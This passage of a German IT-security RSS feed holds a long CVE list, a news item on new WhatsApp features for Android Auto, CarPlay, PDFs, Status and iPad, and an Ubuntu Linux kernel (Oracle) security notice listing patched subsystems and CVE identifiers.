CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202,
CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207,
CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223,
CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230,
CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236,
CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251,
CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262,
CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269,
CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296,
CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334,
CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365,
CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426,
CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430,
CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449,
CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841,
CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869,
CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875,
CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890,
CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285,
CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096,
CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287,
CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296,
CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055,
CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085,
CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089,
CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133,
CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164,
CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173,
CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[Whatsapp im Auto deutlich besser: Großes Update für Android Auto und Carplay startet]]></title>
<description><![CDATA[Whatsapp erweitert die Nutzung des Messengers auf mehreren Plattformen. Mit einem neuen Funktionspaket verbessert das Unternehmen vor allem die Integration in Android Auto und Apple CarPlay. Nutzer können Nachrichten künftig komfortabler über das Fahrzeug steuern, Anrufe verwalten und auf wichtig...]]></description>
<link>https://tsecurity.de/de/3688358/it-nachrichten/whatsapp-im-auto-deutlich-besser-grosses-update-fuer-android-auto-und-carplay-startet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688358/it-nachrichten/whatsapp-im-auto-deutlich-besser-grosses-update-fuer-android-auto-und-carplay-startet/</guid>
<pubDate>Thu, 23 Jul 2026 10:25:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Whatsapp erweitert die Nutzung des Messengers auf mehreren Plattformen. Mit einem neuen Funktionspaket verbessert das Unternehmen vor allem die Integration in <a href="https://www.pcwelt.de/article/1161010/android-auto-im-test-funktionen-apps-auto-hersteller-varianten.html" target="_blank" rel="noreferrer noopener">Android Auto</a> und Apple CarPlay. Nutzer können Nachrichten künftig komfortabler über das Fahrzeug steuern, Anrufe verwalten und auf wichtige Kontakte zugreifen.</p>



<p>Whatsapp hat die neuen Funktionen <a href="https://blog.whatsapp.com/new-feature-roundup-sign-up-on-ipad-whatsapp-in-your-car-and-more" target="_blank" rel="noreferrer noopener">in einem offiziellen Blogeintrag vorgestellt</a>. Die Neuerungen werden ab sofort schrittweise eingeführt und betreffen neben der Nutzung im Auto auch PDF-Dateien in Whatsapp Web und Desktop, den Status sowie die iPad-App. </p>



<h2 class="wp-block-heading">Whatsapp im Auto: Neue Oberfläche für Android Auto und CarPlay</h2>



<p>Die größte Änderung richtet sich an Autofahrer. Whatsapp hat die Benutzeroberfläche für Android Auto und Apple Carplay vollständig überarbeitet. Ziel ist es, die Nutzung während der Fahrt einfacher zu gestalten und die wichtigsten Funktionen direkt über das Fahrzeug verfügbar zu machen.</p>



<p>Über den Bildschirm des Autos lassen sich künftig unter anderem:</p>



<ul class="wp-block-list">
<li>Nachrichten anhören und per Sprache beantworten</li>



<li>Whatsapp-Anrufe starten und annehmen</li>



<li>Die eigene Anrufliste einsehen</li>



<li>Bevorzugte Kontakte über einen Schnellzugriff erreichen</li>
</ul>



<p>Die Bedienung erfolgt freihändig über die Sprachsteuerung oder die vorhandenen Bedienelemente des Fahrzeugs. Nutzer müssen dafür nicht zum Smartphone greifen.</p>



<h2 class="wp-block-heading">PDFs direkt in Whatsapp öffnen und bearbeiten</h2>



<p>Auch Whatsapp Web und die Desktop-Version erhalten neue Möglichkeiten. PDF-Dateien können Nutzer künftig direkt im Chat öffnen, ohne dass sie sie zunächst herunterladen müssen.</p>



<p>Über eine Integration von Adobe Acrobat lassen sich außerdem einfache Bearbeitungen vornehmen. Dazu gehören etwa das Hervorheben von Textstellen oder das Hinzufügen von Anmerkungen direkt im Dokument.</p>



<p>Gerade beim schnellen Prüfen oder Kommentieren von Dateien kann das den Umgang mit Dokumenten vereinfachen.</p>



<h2 class="wp-block-heading">Musik aus Apple Music und Spotify im Whatsapp-Status teilen</h2>



<p>Eine weitere Neuerung betrifft den Whatsapp-Status. Nutzer können Songs aus Apple Music und Spotify künftig direkt über die jeweiligen Apps in ihrem Status teilen. Mit wenigen Schritten lässt sich so der aktuell gehörte Titel mit Kontakten teilen. </p>



<h2 class="wp-block-heading">Whatsapp auf dem iPad kann jetzt direkt eingerichtet werden</h2>



<p>Auch bei der iPad-Nutzung gibt es eine wichtige Änderung. Bisher musste ein iPad mit einem bereits eingerichteten Whatsapp-Konto auf einem Smartphone verknüpft werden.</p>



<p>Diese Einschränkung entfällt nun: Nutzer können ein Whatsapp-Konto direkt in der iPad-App erstellen und einrichten. Für die Registrierung wird weiterhin eine gültige Telefonnummer benötigt, da Whatsapp einen Bestätigungscode per SMS verschickt.</p>



<p>Nach der Einrichtung lässt sich Whatsapp auf dem iPad unabhängig vom Smartphone verwenden.</p>



<h2 class="wp-block-heading">Neue Funktionen werden schrittweise verteilt</h2>



<p>Whatsapp führt die neuen Funktionen ab sofort ein. Wie bei größeren Updates üblich, erfolgt die Verteilung schrittweise, sodass nicht jeder Nutzer die Neuerungen gleichzeitig erhält.</p>



<p>Wer die neuen Funktionen nutzen möchte, sollte sicherstellen, dass die Whatsapp-App auf dem aktuellen Stand ist.</p>



<p><strong>Weitere News zum Thema:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.pcwelt.de/article/3195616/google-maps-in-android-auto-bekommt-ein-tachometer.html" target="_blank" rel="noreferrer noopener">Google Maps in Android Auto bekommt ein Tachometer</a></li>



<li><a href="https://www.pcwelt.de/article/1203090/android-auto-einfach-und-guenstig-nachruesten-so-geht-s.html" target="_blank" rel="noreferrer noopener">Android Auto einfach und günstig nachrüsten: So geht’s</a></li>



<li><a href="https://www.pcwelt.de/article/3193424/whatsapp-nutzernamen-lassen-sich-jetzt-verwenden-revolution-beim-datenschutz.html" target="_blank" rel="noreferrer noopener">Whatsapp schaltet Nutzernamen jetzt scharf</a></li>



<li><a href="https://www.pcwelt.de/article/3165436/whatsapp-web-gruppenanrufe-voice-video-calls-beta.html" target="_blank" rel="noreferrer noopener">Whatsapp bringt Gruppenanrufe ins Web – neue Funktion startet im Browser</a></li>
</ul>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8595-1: Linux kernel (Oracle) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:20:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
